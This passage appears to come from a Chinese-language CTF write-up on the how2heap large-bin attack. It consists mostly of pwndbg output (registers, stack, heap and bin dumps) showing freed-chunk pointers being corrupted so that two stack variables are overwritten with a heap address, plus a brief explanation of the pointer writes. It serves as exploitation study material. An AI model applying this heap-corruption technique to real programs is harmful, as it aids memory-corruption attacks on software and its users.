In file: /ctf/work/how2heap/large_bin_attack .c51 52 malloc(0x90);53 fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");54 fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);55 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);► 56 return 0;57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4009f3 main+845f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x00000000000003f1
0x603370: 0x0000000000000000 0x00000000006037a0
0x603380: 0x0000000000000000 0x00000000006037a0
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
0x6033e0: 0x0000000000000000 0x0000000000000000
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000000
0x603410: 0x0000000000000000 0x0000000000000000
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
0x603450: 0x0000000000000000 0x0000000000000000
0x603460: 0x0000000000000000 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000000
pwndbg> n
57 }LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────────────────────────────────────────────────────RAX 0x0RBX 0x0RCX 0x7ffff7b042c0 (__write_nocancel+7) ◂— cmp rax, -0xfffRDX 0x7ffff7dd3770 (_IO_stdfile_2_lock) ◂— 0x0RDI 0x2RSI 0x7fffffffbf00 ◂— 0x61765f6b63617473 ('stack_va')R8 0x7ffff7feb700 ◂— 0x7ffff7feb700R9 0x26R10 0x0R11 0x246R12 0x4005b0 (_start) ◂— xor ebp, ebpR13 0x7fffffffe6a0 ◂— 0x1R14 0x0R15 0x0RBP 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15RSP 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0RIP 0x4009f8 (main+850) ◂— mov rsi, qword ptr [rbp - 8]
────────────────────────────────────────────────────────────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────────────────────────────────────────────────────────────0x4009e1 <main+827> mov esi, 0x40102c0x4009e6 <main+832> mov rdi, rax0x4009e9 <main+835> mov eax, 00x4009ee <main+840> call fprintf@plt <0x400570>0x4009f3 <main+845> mov eax, 0► 0x4009f8 <main+850> mov rsi, qword ptr [rbp - 8]0x4009fc <main+854> xor rsi, qword ptr fs:[0x28]0x400a05 <main+863> je main+870 <0x400a0c>↓0x400a0c <main+870> leave 0x400a0d <main+871> ret 0x400a0e nop
─────────────────────────────────────────────────────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────────────────────────────────────────────────────
In file: /ctf/work/how2heap/large_bin_attack .c52 malloc(0x90);53 fprintf(stderr, "再次 malloc,会把释放的第三个 chunk 插入到 largebin 中,同时我们的目标已经改写了:\n");54 fprintf(stderr, "stack_var1 (%p): %p\n", &stack_var1, (void *)stack_var1);55 fprintf(stderr, "stack_var2 (%p): %p\n", &stack_var2, (void *)stack_var2);56 return 0;► 57 }
─────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7fffffffe590 —▸ 0x6037a0 ◂— 0x0
... ↓
02:0010│ 0x7fffffffe5a0 —▸ 0x603010 —▸ 0x7ffff7dd1e98 (main_arena+888) —▸ 0x7ffff7dd1e88 (main_arena+872) —▸ 0x7ffff7dd1e78 (main_arena+856) ◂— ...
03:0018│ 0x7fffffffe5a8 —▸ 0x603370 ◂— 0x0
04:0020│ 0x7fffffffe5b0 —▸ 0x6037b0 —▸ 0x603360 ◂— 0x0
05:0028│ 0x7fffffffe5b8 ◂— 0xe5d20a6fe83dd300
06:0030│ rbp 0x7fffffffe5c0 —▸ 0x400a10 (__libc_csu_init) ◂— push r15
07:0038│ 0x7fffffffe5c8 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
───────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────► f 0 4009f8 main+850f 1 7ffff7a2d830 __libc_start_main+240
pwndbg> x/40gx 0x603360-0x20
0x603340: 0x0000000000000000 0x0000000000000000
0x603350: 0x0000000000000000 0x0000000000000000
0x603360: 0x0000000000000000 0x00000000000003f1
0x603370: 0x0000000000000000 0x00000000006037a0
0x603380: 0x0000000000000000 0x00000000006037a0
0x603390: 0x0000000000000000 0x0000000000000000
0x6033a0: 0x0000000000000000 0x0000000000000000
0x6033b0: 0x0000000000000000 0x0000000000000000
0x6033c0: 0x0000000000000000 0x0000000000000000
0x6033d0: 0x0000000000000000 0x0000000000000000
0x6033e0: 0x0000000000000000 0x0000000000000000
0x6033f0: 0x0000000000000000 0x0000000000000000
0x603400: 0x0000000000000000 0x0000000000000000
0x603410: 0x0000000000000000 0x0000000000000000
0x603420: 0x0000000000000000 0x0000000000000000
0x603430: 0x0000000000000000 0x0000000000000000
0x603440: 0x0000000000000000 0x0000000000000000
0x603450: 0x0000000000000000 0x0000000000000000
0x603460: 0x0000000000000000 0x0000000000000000
0x603470: 0x0000000000000000 0x0000000000000000
pwndbg> p &stack_var1 - 2
$1 = (unsigned long *) 0x7fffffffe580
pwndbg> p &stack_var2 - 4
$2 = (unsigned long *) 0x7fffffffe578
pwndbg> p &stack_var2
$3 = (unsigned long *) 0x7fffffffe598
pwndbg> p &stack_var1
$4 = (unsigned long *) 0x7fffffffe590
pwndbg> bin
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x603140 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x603140 /* '@1`' */
smallbins
empty
largebins
0x400 [corrupted]
FD: 0x603360 ◂— 0x0
BK: 0x603360 —▸ 0x6037a0 —▸ 0x7fffffffe580 ◂— 0x6037a0
pwndbg> parseheap
addr prev size status fd bk
0x603000 0x0 0xa0 Used None None
0x6030a0 0x0 0xa0 Used None None
0x603140 0x0 0x1f0 Freed 0x7ffff7dd1b78 0x7ffff7dd1b78
0x603330 0x1f0 0x30 Used None None
0x603360 0x0 0x3f0 Freed 0x0 0x6037a0
Corrupt ?! (size == 0) (0x603750)
pwndbg> x/10gx 0x7fffffffe598
0x7fffffffe598: 0x00000000006037a0 0x0000000000603010
0x7fffffffe5a8: 0x0000000000603370 0x00000000006037b0
0x7fffffffe5b8: 0xe5d20a6fe83dd300 0x0000000000400a10
0x7fffffffe5c8: 0x00007ffff7a2d830 0x00007fffffffe6a8
0x7fffffffe5d8: 0x00007fffffffe6a8 0x00000001f7b99608
pwndbg> x/10gx 0x7fffffffe590
0x7fffffffe590: 0x00000000006037a0 0x00000000006037a0
0x7fffffffe5a0: 0x0000000000603010 0x0000000000603370
0x7fffffffe5b0: 0x00000000006037b0 0xe5d20a6fe83dd300
0x7fffffffe5c0: 0x0000000000400a10 0x00007ffff7a2d830
0x7fffffffe5d0: 0x00007fffffffe6a8 0x00007fffffffe6a8
pwndbg>
pwndbg> p &stack_var1
$5 = (unsigned long *) 0x7fffffffe590
pwndbg> p &stack_var2
$8 = (unsigned long *) 0x7fffffffe598
pwndbg> p (void *)stack_var1
$9 = (void *) 0x6037a0
pwndbg> p (void *)stack_var2
$10 = (void *) 0x6037a0
pwndbg>
把2带入4得到:fwd->bk_nextsize->fd_nextsize=victim,同时下面有:fwd->bk=victim。也就是说之前我们伪造的p2的bk跟bk_nextsize指向的地址被改为了victim,即(unsigned long)(&stack_var1 - 2)与(unsigned long)(&stack_var2 - 4)被改为了victim
pwndbg> p &stack_var1
$5 = (unsigned long *) 0x7fffffffe590
pwndbg> p &stack_var2
$8 = (unsigned long *) 0x7fffffffe598
pwndbg> p (void *)stack_var1
$9 = (void *) 0x6037a0
pwndbg> p (void *)stack_var2
$10 = (void *) 0x6037a0
4.参考资料
【PWN】how2heap | 狼组安全团队公开知识库